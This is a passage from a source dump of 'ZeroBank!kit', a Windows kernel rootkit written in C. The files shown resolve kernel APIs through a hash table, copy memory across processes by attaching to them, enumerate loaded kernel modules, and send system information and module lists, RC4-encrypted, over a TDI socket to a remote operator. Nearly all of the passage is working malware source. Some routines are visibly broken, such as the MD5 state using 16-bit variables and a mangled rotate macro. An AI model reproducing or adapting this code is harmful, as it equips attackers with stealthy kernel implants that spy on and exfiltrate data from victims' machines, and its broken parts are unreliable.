configinformation->ScsiPortCount; 29 | sysinfo.TapeDrivesCount = configinformation->TapeCount; 30 | 31 | // KeQuery 32 | 33 | sysinfo.ActiveGroupCount = Hash->_KeQueryActiveGroupCount(); 34 | sysinfo.ActiveProcessors = Hash->_KeQueryActiveProcessors(); 35 | sysinfo.ActiveProcessorsCount = Hash->_KeQueryActiveProcessorCount(&sysinfo.ActiveProcessors); 36 | sysinfo.InterruptTime = Hash->_KeQueryInterruptTime(); 37 | sysinfo.MaximunProcessorCount = Hash->_KeQueryMaximumProcessorCount(); 38 | 39 | 40 | sendsize = tdi_send_crypted(SocketObject, RC4_KEY_2, (PROOTKIT_SYS_INFORMATION)&sysinfo, sizeof(ROOTKIT_SYS_INFORMATION), 0); 41 | if (sendsize > 0) 42 | KdPrint(("\r\n[*] kit sys info sent")); 43 | else 44 | KdPrint(("\r\n[!] Error sending kit sys info")); 45 | 46 | return st; 47 | } -------------------------------------------------------------------------------- /ZeroBank!kit/info.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | typedef struct _ROOTKIT_SYS_INFORMATION 5 | { 6 | // SYS CONFIGURATION MANAGER 7 | 8 | unsigned long NumberOfDisks; 9 | unsigned long NumberOfFloppies; 10 | unsigned long NumberOfCdRoms; 11 | unsigned long NumberOfSerialPorts; 12 | unsigned long NumberOfParallelPorts; 13 | unsigned long TapeDrivesCount; 14 | unsigned long ScsiCount; 15 | 16 | unsigned short ActiveGroupCount; 17 | KAFFINITY ActiveProcessors; 18 | unsigned long ActiveProcessorsCount; 19 | unsigned long long InterruptTime; 20 | unsigned long MaximunProcessorCount; 21 | 22 | }ROOTKIT_SYS_INFORMATION, *PROOTKIT_SYS_INFORMATION; 23 | 24 | 25 | NTSTATUS rk_send_sys_information_to_userspace(IN PFILE_OBJECT SocketObject, IN PROOTKIT_API_HASH Hash); -------------------------------------------------------------------------------- /ZeroBank!kit/md5.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | /* 4 | File: Md5.c 5 | 6 | MD5 Support routines 7 | 8 | */ 9 | 10 | void MD5Init(MD5Context *ctx) 11 | { 12 | ctx->buf[0] = 0x67452301; 13 | ctx->buf[1] = 0xefcdab89; 14 | ctx->buf[2] = 0x98badcfe; 15 | ctx->buf[3] = 0x10325476; 16 | 17 | ctx->bits[0] = 0; 18 | ctx->bits[1] = 0; 19 | } 20 | 21 | void MD5Update(MD5Context *ctx, unsigned char const *buf, UINT32 len) 22 | { 23 | UINT32 t; 24 | 25 | /* Update bitcount */ 26 | 27 | t = ctx->bits[0]; 28 | if ((ctx->bits[0] = (t + ((UINT32)len << 3)) & 0xffffffff) < t) 29 | ctx->bits[1]++; /* Carry from low to high */ 30 | ctx->bits[1] += len >> 29; 31 | 32 | t = (t >> 3) & 0x3f; /* Bytes already in shsInfo->data */ 33 | 34 | /* Handle any leading odd-sized chunks */ 35 | 36 | if (t) { 37 | unsigned char *p = ctx->in + t; 38 | 39 | t = 64 - t; 40 | if (len < t) { 41 | kimemcpy(p, buf, len); 42 | return; 43 | } 44 | kimemcpy(p, buf, t); 45 | MD5Transform(ctx->buf, ctx->in); 46 | buf += t; 47 | len -= t; 48 | } 49 | /* Process data in 64-byte chunks */ 50 | 51 | while (len >= 64) { 52 | kimemcpy(ctx->in, buf, 64); 53 | MD5Transform(ctx->buf, ctx->in); 54 | buf += 64; 55 | len -= 64; 56 | } 57 | 58 | /* Handle any remaining bytes of data. */ 59 | 60 | kimemcpy(ctx->in, buf, len); 61 | } 62 | 63 | void MD5Final(unsigned char digest[16], MD5Context *ctx) 64 | { 65 | unsigned count; 66 | unsigned char *p; 67 | 68 | /* Compute number of bytes mod 64 */ 69 | count = (ctx->bits[0] >> 3) & 0x3F; 70 | 71 | /* Set the first char of padding to 0x80. This is safe since there is 72 | always at least one byte free */ 73 | p = ctx->in + count; 74 | *p++ = 0x80; 75 | 76 | /* Bytes of padding needed to make 64 bytes */ 77 | count = 64 - 1 - count; 78 | 79 | /* Pad out to 56 mod 64 */ 80 | if (count < 8) { 81 | /* Two lots of padding: Pad the first block to 64 bytes */ 82 | memset(p, 0, count); 83 | MD5Transform(ctx->buf, ctx->in); 84 | 85 | /* Now fill the next block with 56 bytes */ 86 | memset(ctx->in, 0, 56); 87 | } 88 | else { 89 | /* Pad block to 56 bytes */ 90 | memset(p, 0, count - 8); 91 | } 92 | 93 | /* Append length in bits and transform */ 94 | PUT_32BIT_LSB_FIRST(ctx->in + 56, ctx->bits[0]); 95 | PUT_32BIT_LSB_FIRST(ctx->in + 60, ctx->bits[1]); 96 | 97 | MD5Transform(ctx->buf, ctx->in); 98 | PUT_32BIT_LSB_FIRST(digest, ctx->buf[0]); 99 | PUT_32BIT_LSB_FIRST(digest + 4, ctx->buf[1]); 100 | PUT_32BIT_LSB_FIRST(digest + 8, ctx->buf[2]); 101 | PUT_32BIT_LSB_FIRST(digest + 12, ctx->buf[3]); 102 | memset(ctx, 0, sizeof(ctx)); /* In case it's sensitive */ 103 | } 104 | 105 | void MD5Transform(UINT32 buf[4], const unsigned char inext[64]) 106 | { 107 | register unsigned short a, b, c, d, i; 108 | unsigned short in[16]; 109 | 110 | for (i = 0; i < 16; i++) 111 | in[i] = GET_32BIT_LSB_FIRST(inext + 4 * i); 112 | 113 | a = buf[0]; 114 | b = buf[1]; 115 | c = buf[2]; 116 | d = buf[3]; 117 | 118 | MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7); 119 | MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12); 120 | MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17); 121 | MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22); 122 | MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7); 123 | MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12); 124 | MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17); 125 | MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22); 126 | MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7); 127 | MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12); 128 | MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17); 129 | MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22); 130 | MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7); 131 | MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12); 132 | MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17); 133 | MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22); 134 | 135 | MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5); 136 | MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9); 137 | MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14); 138 | MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20); 139 | MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5); 140 | MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9); 141 | MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14); 142 | MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20); 143 | MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5); 144 | MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9); 145 | MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14); 146 | MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20); 147 | MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5); 148 | MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9); 149 | MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14); 150 | MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20); 151 | 152 | MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4); 153 | MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11); 154 | MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16); 155 | MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23); 156 | MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4); 157 | MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11); 158 | MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16); 159 | MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23); 160 | MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4); 161 | MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11); 162 | MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16); 163 | MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23); 164 | MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4); 165 | MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11); 166 | MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16); 167 | MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23); 168 | 169 | MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6); 170 | MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10); 171 | MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15); 172 | MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21); 173 | MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6); 174 | MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10); 175 | MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15); 176 | MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21); 177 | MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6); 178 | MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10); 179 | MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15); 180 | MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21); 181 | MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6); 182 | MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10); 183 | MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15); 184 | MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21); 185 | 186 | buf[0] += a; 187 | buf[1] += b; 188 | buf[2] += c; 189 | buf[3] += d; 190 | } -------------------------------------------------------------------------------- /ZeroBank!kit/md5.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define GET_32BIT_LSB_FIRST(cp) (((UINT32)(unsigned char)(cp)[0]) | \ 4 | ((UINT32)(unsigned char)(cp)[1] << 8 ) | \ 5 | ((UINT32)(unsigned char)(cp)[2] << 16) | \ 6 | ((UINT32)(unsigned char)(cp)[3] << 24)) 7 | 8 | #define PUT_32BIT_LSB_FIRST(cp, value) do { \ 9 | (cp)[0] = (value) & 0xFF; \ 10 | (cp)[1] = ((value) >> 8) & 0xFF; \ 11 | (cp)[2] = ((value) >> 16) & 0xFF; \ 12 | (cp)[3] = ((value) >> 24) & 0xFF; \ 13 | } while(0) 14 | 15 | #define F1(x, y, z) (z ^ (x & (y ^ z))) 16 | #define F2(x, y, z) F1(z, x, y) 17 | #define F3(x, y, z) (x ^ y ^ z) 18 | #define F4(x, y, z) (y ^ (x | ~z)) 19 | #define MD5STEP(f, w, x, y, z, data, s) ( w += f(x, y, z) + data, w = w<>(32-s), w += x ) 20 | 21 | typedef struct _MD5Context 22 | { 23 | UINT32 buf[4]; 24 | UINT32 bits[2]; 25 | unsigned char in[64]; 26 | } MD5Context; 27 | 28 | void MD5Init(MD5Context *ctx); 29 | void MD5Update(MD5Context *ctx, unsigned char const *buf, UINT32 len); 30 | void MD5Final(unsigned char digest[16],MD5Context *ctx); 31 | void MD5Transform(UINT32 buf[4], const unsigned char inext[64]); -------------------------------------------------------------------------------- /ZeroBank!kit/mem.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | /*//////////////////////////////////////////////// 4 | // File: mem.c 5 | // 6 | // Implementation of memory support routines 7 | // 8 | *///////////////////////////////////////////////// 9 | 10 | ULONG __stdcall KiExceptionInfo(IN PEXCEPTION_POINTERS ExceptionPointers, 11 | IN OUT PLOGICAL ExceptionAddressConfirmed, 12 | IN OUT PULONG_PTR BadVa) 13 | { 14 | PEXCEPTION_RECORD ExceptionRecord; 15 | 16 | *ExceptionAddressConfirmed = FALSE; 17 | 18 | ExceptionRecord = ExceptionPointers->ExceptionRecord; 19 | 20 | if ((ExceptionRecord->ExceptionCode == STATUS_ACCESS_VIOLATION) || 21 | (ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) || 22 | (ExceptionRecord->ExceptionCode == STATUS_IN_PAGE_ERROR)) 23 | { 24 | if (ExceptionRecord->NumberParameters > 1) 25 | { 26 | *ExceptionAddressConfirmed = TRUE; 27 | *BadVa = ExceptionRecord->ExceptionInformation[1]; 28 | } 29 | } 30 | return EXCEPTION_EXECUTE_HANDLER; 31 | } 32 | 33 | NTSTATUS __stdcall KiCopyVirtualMemory(IN PEPROCESS Process1, 34 | IN PVOID Buffer1, 35 | IN PEPROCESS Process2, 36 | OUT PVOID Buffer2, 37 | IN SIZE_T BufferLength, 38 | IN KPROCESSOR_MODE Mode, 39 | OUT PSIZE_T ReturnSize) 40 | { 41 | NTSTATUS st; 42 | PEPROCESS Process = Process1; 43 | 44 | if (!BufferLength) 45 | return STATUS_INFO_LENGTH_MISMATCH; 46 | 47 | if (Process1 == g_Hash._IoGetCurrentProcess()) 48 | Process = Process2; 49 | 50 | // Lock the process so we can proceed with the mem copy procedure 51 | 52 | if (!g_Hash._ExAcquireRundownProtection((ULONG_PTR)Process + g_rootkit_dynamic_data.RundownProtect_Offset)) 53 | return STATUS_PROCESS_IS_TERMINATING; 54 | 55 | if (BufferLength > MI_POOL_COPY_BYTES) 56 | { 57 | st = MiDoMappedCopy(Process1, Buffer1, Process2, Buffer2, BufferLength, Mode, ReturnSize); 58 | } 59 | else 60 | { 61 | st = MiDoPoolCopy(Process1, Buffer1, Process2, Buffer2, BufferLength, Mode, ReturnSize); 62 | } 63 | 64 | // Unlock the process 65 | 66 | g_Hash._ExReleaseRundownProtection((ULONG_PTR)Process + g_rootkit_dynamic_data.RundownProtect_Offset); 67 | 68 | return st; 69 | 70 | } 71 | 72 | NTSTATUS __stdcall MiDoPoolCopy(IN PEPROCESS Process1, 73 | IN PVOID Buffer1, 74 | IN PEPROCESS Process2, 75 | OUT PVOID Buffer2, 76 | IN SIZE_T BufferLength, 77 | IN KPROCESSOR_MODE Mode, 78 | OUT PSIZE_T ReturnSize) 79 | { 80 | return STATUS_NOT_SUPPORTED; 81 | } 82 | 83 | 84 | NTSTATUS __stdcall MiDoMappedCopy(IN PEPROCESS Process1, 85 | IN PVOID Buffer1, 86 | IN PEPROCESS Process2, 87 | OUT PVOID Buffer2, 88 | IN SIZE_T BufferLength, 89 | IN KPROCESSOR_MODE Mode, 90 | OUT PSIZE_T ReturnSize) 91 | { 92 | ULONG MdlBuffer[(sizeof(MDL) / sizeof(ULONG)) + MI_MAPPED_COPY_PAGES + 1]; 93 | PMDL Mdl = (PMDL)MdlBuffer; 94 | SIZE_T TotalSize = 0; 95 | SIZE_T CurrentSize = 0; 96 | SIZE_T RemainSize = 0; 97 | volatile BOOLEAN FailProbe = FALSE; 98 | volatile BOOLEAN PagesLocked = FALSE; 99 | PVOID Address1 = Buffer1; 100 | PVOID Address2 = Buffer2; 101 | volatile PVOID MdlAddress = NULL; 102 | KAPC_STATE ApcState; 103 | BOOLEAN ErrorAddress; 104 | ULONG_PTR BaseAddress; 105 | NTSTATUS st = STATUS_SUCCESS; 106 | 107 | TotalSize = MI_MAPPED_COPY_PAGES*PAGE_SIZE; 108 | if (BufferLength <= TotalSize) 109 | TotalSize = BufferLength; 110 | 111 | CurrentSize = TotalSize; 112 | RemainSize = BufferLength; 113 | 114 | while (RemainSize > 0) 115 | { 116 | if (RemainSize < CurrentSize) 117 | CurrentSize = RemainSize; 118 | 119 | g_Hash._KeStackAttachProcess((ULONG_PTR)Process1 + g_rootkit_dynamic_data.Pcb, &ApcState); 120 | 121 | __try 122 | { 123 | if ((Address1 == Buffer1) && (Mode != KernelMode)) 124 | { 125 | FailProbe = TRUE; 126 | 127 | MmSecureVirtualMemory(Buffer1, BufferLength, PAGE_READONLY); 128 | 129 | FailProbe = FALSE; 130 | } 131 | 132 | MmInitializeMdl(Mdl, Address1, CurrentSize); 133 | g_Hash._MmProbeAndLockPages(Mdl, Mode, IoReadAccess); 134 | PagesLocked = TRUE; 135 | 136 | } 137 | __except (EXCEPTION_EXECUTE_HANDLER) 138 | { 139 | st = GetExceptionCode(); 140 | } 141 | 142 | g_Hash._KeUnstackDetachProcess(&ApcState); 143 | 144 | if (st != STATUS_SUCCESS) 145 | goto exit; 146 | 147 | MdlAddress = g_Hash._MmMapLockedPagesSpecifyCache(Mdl, KernelMode, MmCached, NULL, FALSE, HighPagePriority); 148 | if (MdlAddress == NULL) 149 | { 150 | return STATUS_INSUFFICIENT_RESOURCES; 151 | goto exit; 152 | } 153 | 154 | g_Hash._KeStackAttachProcess((ULONG_PTR)Process2 + g_rootkit_dynamic_data.Pcb, &ApcState); 155 | 156 | __try 157 | { 158 | if ((Address2 == Buffer2) && (Mode != KernelMode)) 159 | { 160 | FailProbe = TRUE; 161 | 162 | MmSecureVirtualMemory(Buffer2, BufferLength, PAGE_READWRITE); 163 | 164 | FailProbe = FALSE; 165 | } 166 | 167 | // do the actual copy 168 | 169 | kimemcpy(Address2, MdlAddress, CurrentSize); 170 | 171 | } 172 | __except (KiExceptionInfo(GetExceptionInformation(), &ErrorAddress, &BaseAddress)) 173 | { 174 | 175 | *ReturnSize = BufferLength - RemainSize; 176 | 177 | if (FailProbe) 178 | { 179 | st = GetExceptionCode(); 180 | } 181 | else 182 | { 183 | if (ErrorAddress) 184 | { 185 | *ReturnSize = BaseAddress - (ULONG_PTR)Buffer1; 186 | } 187 | 188 | st = STATUS_PARTIAL_COPY; 189 | } 190 | } 191 | 192 | g_Hash._KeUnstackDetachProcess(&ApcState); 193 | 194 | if (st != STATUS_SUCCESS) 195 | goto exit; 196 | 197 | g_Hash._MmUnmapLockedPages(MdlAddress, Mdl); 198 | MdlAddress = NULL; 199 | g_Hash._MmUnlockPages(Mdl); 200 | PagesLocked = FALSE; 201 | 202 | RemainSize -= CurrentSize; 203 | Address1 = (PVOID)((ULONG_PTR)Address1 + CurrentSize); 204 | Address2 = (PVOID)((ULONG_PTR)Address2 + CurrentSize); 205 | } 206 | 207 | exit: 208 | if (MdlAddress != NULL) 209 | g_Hash._MmUnmapLockedPages(MdlAddress, NULL); 210 | if (PagesLocked) 211 | g_Hash._MmUnlockPages(Mdl); 212 | 213 | if (st == STATUS_SUCCESS) 214 | *ReturnSize = BufferLength; 215 | 216 | return st; 217 | 218 | } 219 | 220 | PVOID __stdcall KiAllocateMappedVirtualMemory(IN ULONG Size, IN ULONG PoolTag, OUT PMDL *MdlAddress, IN PROOTKIT_API_HASH Hash) 221 | { 222 | PMDL Mdl = NULL; 223 | PVOID Buffer = NULL; 224 | PVOID MappedBuffer = NULL; 225 | PHYSICAL_ADDRESS low, high, skip; 226 | 227 | Buffer = Hash->_MmAllocateMappingAddress((SIZE_T)Size, PoolTag); 228 | if (Buffer == NULL) 229 | { 230 | Hash->_MmFreeMappingAddress(Buffer, PoolTag); 231 | return NULL; 232 | } 233 | 234 | low.QuadPart = 0; 235 | high.QuadPart = 0xFFFFFFFFFFFFFFFF; 236 | skip.QuadPart = PAGE_SIZE; 237 | 238 | Mdl =Hash->_MmAllocatePagesForMdlEx(low, high, skip, Size, MmCached, MM_ALLOCATE_FULLY_REQUIRED); 239 | if (Mdl == NULL) 240 | { 241 | Hash->_MmFreePagesFromMdl(Mdl); 242 | return NULL; 243 | } 244 | 245 | 246 | MappedBuffer =Hash->_MmMapLockedPagesWithReservedMapping(Buffer, PoolTag, Mdl, MmCached); 247 | if (MappedBuffer == NULL) 248 | { 249 | Hash->_MmUnmapReservedMapping(MappedBuffer, PoolTag, Mdl); 250 | return NULL; 251 | } 252 | 253 | *MdlAddress = Mdl; 254 | 255 | return MappedBuffer; 256 | 257 | } 258 | 259 | VOID __stdcall KiFreeMappedVirtualMemory(IN PVOID MappedVirtualMemory, IN ULONG PoolTag, IN PMDL Address, IN PROOTKIT_API_HASH Hash) 260 | { 261 | Hash->_MmUnmapReservedMapping(MappedVirtualMemory, 262 | PoolTag, 263 | Address); 264 | 265 | Hash->_MmFreePagesFromMdl(Address); 266 | 267 | Hash->_MmFreeMappingAddress(MappedVirtualMemory, 268 | PoolTag); 269 | } -------------------------------------------------------------------------------- /ZeroBank!kit/mem.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | #define MI_POOL_COPY_BYTES 512 5 | #define MI_MAPPED_COPY_PAGES 14 6 | 7 | ULONG __stdcall KiExceptionInfo(IN PEXCEPTION_POINTERS ExceptionPointers, 8 | IN OUT PLOGICAL ExceptionAddressConfirmed, 9 | IN OUT PULONG_PTR BadVa); 10 | 11 | NTSTATUS __stdcall KiCopyVirtualMemory(IN PEPROCESS Process1, 12 | IN PVOID Buffer1, 13 | IN PEPROCESS Process2, 14 | OUT PVOID Buffer2, 15 | IN SIZE_T BufferLength, 16 | IN KPROCESSOR_MODE Mode, 17 | OUT PSIZE_T ReturnSize); 18 | 19 | NTSTATUS __stdcall MiDoPoolCopy(IN PEPROCESS Process1, 20 | IN PVOID Buffer1, 21 | IN PEPROCESS Process2, 22 | OUT PVOID Buffer2, 23 | IN SIZE_T BufferLength, 24 | IN KPROCESSOR_MODE Mode, 25 | OUT PSIZE_T ReturnSize); 26 | 27 | NTSTATUS __stdcall MiDoMappedCopy(IN PEPROCESS Process1, 28 | IN PVOID Buffer1, 29 | IN PEPROCESS Process2, 30 | OUT PVOID Buffer2, 31 | IN SIZE_T BufferLength, 32 | IN KPROCESSOR_MODE Mode, 33 | OUT PSIZE_T ReturnSize); 34 | 35 | PVOID __stdcall KiAllocateMappedVirtualMemory(IN ULONG Size, 36 | IN ULONG PoolTag, 37 | OUT PMDL *MdlAddress, 38 | IN PROOTKIT_API_HASH Hash); 39 | 40 | VOID __stdcall KiFreeMappedVirtualMemory(IN PVOID MappedVirtualMemory, 41 | IN ULONG PoolTag, 42 | IN PMDL Address, 43 | IN PROOTKIT_API_HASH Hash); 44 | -------------------------------------------------------------------------------- /ZeroBank!kit/modules.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | PROOTKIT_MODULES_LIST_HEAD kernel_get_modules(IN PROOTKIT_API_HASH Hash) 4 | { 5 | NTSTATUS st; 6 | ULONG bytes = 0; 7 | PROOTKIT_MODULES_ENTRY entrybuffer = NULL; 8 | PRTL_PROCESS_MODULES modules = NULL; 9 | PLDR_DATA_TABLE_ENTRY pDataTable = NULL; 10 | PLDR_DATA_TABLE_ENTRY Buffer = NULL; 11 | PLIST_ENTRY List = NULL; 12 | 13 | 14 | g_modules_head = (PROOTKIT_MODULES_LIST_HEAD)Hash->_ExAllocatePool(NonPagedPool, sizeof(ROOTKIT_MODULES_LIST_HEAD)); 15 | if (g_modules_head == NULL) 16 | st = STATUS_NO_MEMORY; 17 | 18 | InitializeListHead(&g_modules_head->Entry); 19 | g_modules_head->NumberOfEntries = 0; 20 | 21 | // call function first time to get correct amount of bytes for allocation 22 | 23 | st = Hash->_ZwQuerySystemInformation(SystemModuleInformation, NULL, 0, &bytes); 24 | if (st == STATUS_INFO_LENGTH_MISMATCH) 25 | { 26 | // allocate mem 27 | 28 | Buffer = Hash->_ExAllocatePool(NonPagedPool, bytes); 29 | if (Buffer) 30 | { 31 | // now call again with all parameters 32 | 33 | st = Hash->_ZwQuerySystemInformation(SystemModuleInformation, Buffer, bytes, 0); 34 | if (NT_SUCCESS(st)) 35 | { 36 | 37 | // fill the structure with previous allocated memory 38 | // check if the memory address is valid 39 | 40 | modules = (PRTL_PROCESS_MODULES)Buffer; 41 | if (modules && Hash->_MmIsAddressValid(modules) == TRUE) 42 | { 43 | // loop through all the loaded modules and 44 | // copy the contents to own List-Entry 45 | 46 | for (ULONG i = 0; i < modules->NumberOfModules; i++) 47 | { 48 | entrybuffer = (PROOTKIT_MODULES_ENTRY)Hash->_ExAllocatePool(NonPagedPool, sizeof(ROOTKIT_MODULES_ENTRY)); 49 | memset(entrybuffer, 0, sizeof(ROOTKIT_MODULES_ENTRY)); 50 | 51 | 52 | kistrcpy(entrybuffer->ModuleName, modules->Modules[i].FullPathName + modules->Modules[i].OffsetToFileName); 53 | kistrcpy(entrybuffer->ModulePath, modules->Modules[i].FullPathName); 54 | entrybuffer->ImageBase = modules->Modules[i].ImageBase; 55 | entrybuffer->ImageSize = modules->Modules[i].ImageSize; 56 | entrybuffer->LoadOrderIndex = (ULONG)modules->Modules[i].LoadOrderIndex; 57 | 58 | // make sure to introduce Spin lock for synchronization access 59 | // to our List and release it afterwards, since locks need to be 60 | // implemented as quick as possible 61 | 62 | Hash->_KfAcquireSpinLock(&g_globalspinlock); 63 | InsertTailList(&g_modules_head->Entry, &entrybuffer->Entry); 64 | Hash->_KfReleaseSpinLock(&g_globalspinlock, Irql); 65 | 66 | g_modules_head->NumberOfEntries++; 67 | 68 | } 69 | } 70 | } 71 | 72 | // free memory 73 | 74 | Hash->_ExFreePoolWithTag(Buffer,0); 75 | } 76 | } 77 | 78 | 79 | // return the amount of modules of List-Entry 80 | 81 | return g_modules_head; 82 | } 83 | 84 | ULONG rk_copy_modules_list_to_buffer(IN PROOTKIT_MODULES_ENTRY Buffer, IN PROOTKIT_API_HASH Hash) 85 | { 86 | ULONG returnedlength = 0; 87 | PROOTKIT_MODULES_ENTRY modbuffer = NULL; 88 | SIZE_T ByteCheck = 0; 89 | 90 | if (g_modules_head == NULL) 91 | return 0; 92 | 93 | Hash->_KfAcquireSpinLock(&g_globalspinlock); 94 | 95 | while (!IsListEmpty(&g_modules_head->Entry)) 96 | { 97 | modbuffer = (PROOTKIT_MODULES_ENTRY)RemoveTailList(&g_modules_head->Entry); 98 | kimemcpy(Buffer, modbuffer, sizeof(ROOTKIT_MODULES_ENTRY)); 99 | Hash->_ExFreePoolWithTag(modbuffer,0); 100 | Buffer++; 101 | returnedlength++; 102 | } 103 | 104 | Hash->_KfReleaseSpinLock(&g_globalspinlock, Irql); 105 | 106 | Hash->_ExFreePoolWithTag(g_modules_head,0); 107 | g_modules_head = NULL; 108 | 109 | return returnedlength * sizeof(ROOTKIT_MODULES_ENTRY); 110 | } 111 | 112 | BOOLEAN rk_send_modules_to_userspace(IN PFILE_OBJECT SocketObject, IN PROOTKIT_API_HASH Hash) 113 | { 114 | ULONG bytes = 0; 115 | ULONG returnedbytes = 0; 116 | INT sendsize = 0; 117 | PROOTKIT_MODULES_LIST_HEAD moduleshead = NULL; 118 | PVOID Buffer = NULL; 119 | PROOTKIT_MODULES_ENTRY Entry = NULL; 120 | NTSTATUS st; 121 | BOOLEAN g_cond = FALSE; 122 | PMDL Mdl = NULL; 123 | 124 | moduleshead = kernel_get_modules(Hash); 125 | bytes = moduleshead->NumberOfEntries*sizeof(ROOTKIT_MODULES_ENTRY); 126 | do 127 | { 128 | sendsize = send(SocketObject, (char*)&bytes, sizeof(ULONG)); 129 | if (sendsize > 0) 130 | { 131 | Buffer = KiAllocateMappedVirtualMemory(bytes, 'kbot', &Mdl, Hash); 132 | if (Buffer && Hash->_MmIsAddressValid(Buffer) && KiIsMdlAdddressValid(Mdl,Hash) == TRUE) 133 | { 134 | Entry = (PROOTKIT_MODULES_ENTRY)Buffer; 135 | if (Entry && Hash->_MmIsAddressValid(Entry)) 136 | { 137 | returnedbytes = rk_copy_modules_list_to_buffer(Entry, Hash); 138 | if (returnedbytes > 0) 139 | { 140 | sendsize = tdi_send_crypted(SocketObject, RC4_KEY_2, (PROOTKIT_MODULES_ENTRY)Entry, returnedbytes, 0); 141 | if (sendsize > 0) 142 | { 143 | g_cond = TRUE; 144 | goto clean; 145 | } 146 | } 147 | } 148 | } 149 | } 150 | 151 | } while (FALSE); 152 | 153 | // cleanup 154 | 155 | clean: 156 | KiFreeMappedVirtualMemory(Buffer, 'kbot', Mdl, Hash); 157 | Buffer = NULL; 158 | 159 | return g_cond; 160 | } -------------------------------------------------------------------------------- /ZeroBank!kit/modules.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | typedef struct _RTL_PROCESS_MODULE_INFORMATION { 4 | HANDLE Section; 5 | PVOID MappedBase; 6 | PVOID ImageBase; 7 | ULONG ImageSize; 8 | ULONG Flags; 9 | USHORT LoadOrderIndex; 10 | USHORT InitOrderIndex; 11 | USHORT LoadCount; 12 | USHORT OffsetToFileName; 13 | UCHAR FullPathName[256]; 14 | } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; 15 | 16 | typedef struct _RTL_PROCESS_MODULES { 17 | ULONG NumberOfModules; 18 | RTL_PROCESS_MODULE_INFORMATION Modules[1]; 19 | } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; 20 | 21 | 22 | typedef struct _ROOTKIT_MODULES_ENTRY { 23 | #ifndef _WIN64 24 | LIST_ENTRY Entry; 25 | #else 26 | LIST_ENTRY64 Entry; 27 | #endif 28 | CHAR ModulePath[260]; 29 | CHAR ModuleName[260]; 30 | PVOID ImageBase; 31 | ULONG ImageSize; 32 | ULONG LoadOrderIndex; 33 | 